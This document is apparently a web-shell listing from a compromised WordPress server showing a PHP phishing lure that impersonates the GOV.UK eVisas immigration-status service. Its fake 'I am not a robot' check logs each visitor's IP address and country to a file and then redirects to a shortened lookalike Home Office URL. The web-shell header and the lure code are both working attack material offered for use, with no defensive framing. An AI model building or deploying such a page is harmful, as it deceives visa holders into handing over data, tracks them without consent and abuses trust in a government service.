| Server IP : 159.203.58.96 / Your IP : 216.73.216.89 Web Server : Apache/2.4.52 (Ubuntu) System : Linux wordpress 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/www.points.homeoffice.gov.uk/ |
Upload File : |
<?php
session_start();
/* ------------------------------
BASIC RATE LIMITING
-------------------------------- */
$ip = $_SERVER['REMOTE_ADDR'];
$limitFile = sys_get_temp_dir() . "/rate_" . md5($ip);
if (file_exists($limitFile) && time() - filemtime($limitFile) < 2) {
http_response_code(429);
exit;
}
touch($limitFile);
/* ------------------------------
CSRF TOKEN
-------------------------------- */
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(random_bytes(16));
}
/* ------------------------------
UTILITIES
-------------------------------- */
function getUserIP() {
foreach ([
'HTTP_CF_CONNECTING_IP',
'HTTP_X_REAL_IP',
'HTTP_X_FORWARDED_FOR',
'REMOTE_ADDR'
] as $key) {
if (!empty($_SERVER[$key])) {
return explode(',', $_SERVER[$key])[0];
}
}
return 'Unknown';
}
function getCountry($ip) {
$ch = curl_init("http://ip-api.com/json/{$ip}");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 2
]);
$response = curl_exec($ch);
curl_close($ch);
if ($response) {
$data = json_decode($response, true);
return $data['country'] ?? 'Unknown';
}
return 'Unknown';
}
/* ------------------------------
HANDLE POST
-------------------------------- */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) {
http_response_code(403);
exit;
}
$ip = getUserIP();
$country = getCountry($ip);
$time = date('Y-m-d H:i:s');
$log = "[{$time}] {$ip} | {$country}\n";
file_put_contents(__DIR__ . "/log.txt", $log, FILE_APPEND | LOCK_EX);
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome to GOV.UK – Verification</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
margin: 0;
font-family: Arial, sans-serif;
background: #f8f8f8;
}
.header {
background: #2b7a3d;
color: white;
padding: 15px 20px;
font-size: 22px;
font-weight: bold;
}
.container {
max-width: 600px;
margin: 40px auto;
background: white;
padding: 25px;
border-radius: 6px;
box-shadow: 0 0 10px rgba(0,0,0,.1);
}
.checkbox-area {
display: flex;
align-items: center;
cursor: pointer;
margin-top: 20px;
}
.checkbox {
width: 22px;
height: 22px;
border: 2px solid #555;
margin-right: 10px;
position: relative;
}
.checkbox.checked::after {
content: "✔";
position: absolute;
left: 3px;
top: -2px;
font-size: 18px;
color: green;
}
button {
padding: 10px 18px;
background: #2b7a3d;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
.message {
margin-top: 15px;
}
</style>
</head>
<body>
<div class="header">eVisas: access and use your online immigration status</div>
<div class="container">
<h2>Human Verification</h2>
<p>Please confirm you are a real person before continuing.</p>
<div class="checkbox-area" id="checkArea">
<div class="checkbox" id="box"></div>
<span>I am not a robot</span>
</div>
<div id="question" style="display:none">
<p><strong>Is fire hot?</strong></p>
<button onclick="answer(true)">Yes</button>
<button onclick="answer(false)">No</button>
<div class="message" id="msg"></div>
</div>
</div>
<script>
let sent = false;
const csrf = "<?= $_SESSION['csrf'] ?>";
function sendLog() {
if (sent) return;
sent = true;
fetch("", {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "csrf=" + csrf
});
}
document.getElementById("checkArea").onclick = () => {
document.getElementById("box").classList.add("checked");
document.getElementById("question").style.display = "block";
sendLog();
};
function answer(ok) {
const msg = document.getElementById("msg");
if (ok) {
msg.textContent = "Verified. Redirecting…";
setTimeout(() => {
window.location.href = "https://lxme.in/gb-points.homeoffice.gov.uk/gui-sms-jsf-home-SMS-003-Home.faces.html";
}, 2500);
} else {
msg.textContent = "Incorrect answer. Try again.";
}
}
</script>
</body>
</html>